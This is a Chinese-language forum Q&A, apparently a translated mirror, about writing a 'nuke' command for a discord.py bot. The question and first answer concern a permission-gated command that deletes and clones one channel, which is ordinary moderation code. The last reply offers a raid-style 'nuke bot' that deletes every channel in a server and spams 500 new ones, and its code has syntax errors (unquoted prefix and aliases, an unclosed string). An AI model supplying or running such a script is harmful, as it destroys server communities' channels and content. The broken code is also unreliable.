[英]Nuke command in discord.py
我在我的 discord bot 中做了一個 nuke 命令,但我有兩個問題。 首先是我如何向剛剛創建的頻道發送消息,其次是我如何使頻道與“原始”處於相同的位置。
這是我的代碼:
# nuke
@client.command()
@commands.has_permissions(ban_members=True)
async def nuke(ctx):
embed = discord.Embed(
colour=discord.Colour.blue,
title=f":boom: Channel ({ctx.channel.name}) has been nuked :boom:",
description=f"Nuked by: {ctx.author.name}#{ctx.author.discriminator}"
)
embed.set_footer(text=f"{ctx.guild.name} • {datetime.strftime(datetime.now(), '%d.%m.%Y at %I:%M %p')}")
await ctx.channel.delete(reason="nuke")
await ctx.channel.clone(reason="nuke")
await ctx.send(embed=embed)
您可以將克隆的頻道存儲在變量中:
# nuke
@client.command()
@commands.has_permissions(ban_members=True)
async def nuke(ctx):
embed = discord.Embed(
colour=discord.Colour.blue,
title=f":boom: Channel ({ctx.channel.name}) has been nuked :boom:",
description=f"Nuked by: {ctx.author.name}#{ctx.author.discriminator}"
)
embed.set_footer(text=f"{ctx.guild.name} • {datetime.strftime(datetime.now(), '%d.%m.%Y at %I:%M %p')}")
await ctx.channel.delete(reason="nuke")
channel = await ctx.channel.clone(reason="nuke")
await channel.send(embed=embed)
如果不是,則應在與原始頻道相同的位置創建頻道:
pos = ctx.channel.position
await ctx.channel.delete()
channel = await ctx.channel.clone()
await channel.edit(position=pos)
這是我做的一個核彈命令
from discord.ext import commands
client = commands.Bot(command_prefix=$)
token = "nuke bot token"
@client.command(aliases=[destroy, wizz])
async def nuke(ctx):
await ctx.send("LOL THIS SHIT IS GETTING NUKED)
for channel in ctx.guild.channels:
await channel.delete()
print(f"Deleted {ctx.guild.channel}")
for i in range(500):
guild = ctx.message.guild
await guild.create_text_channel("nuked")
client.run(token, bot=True)
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.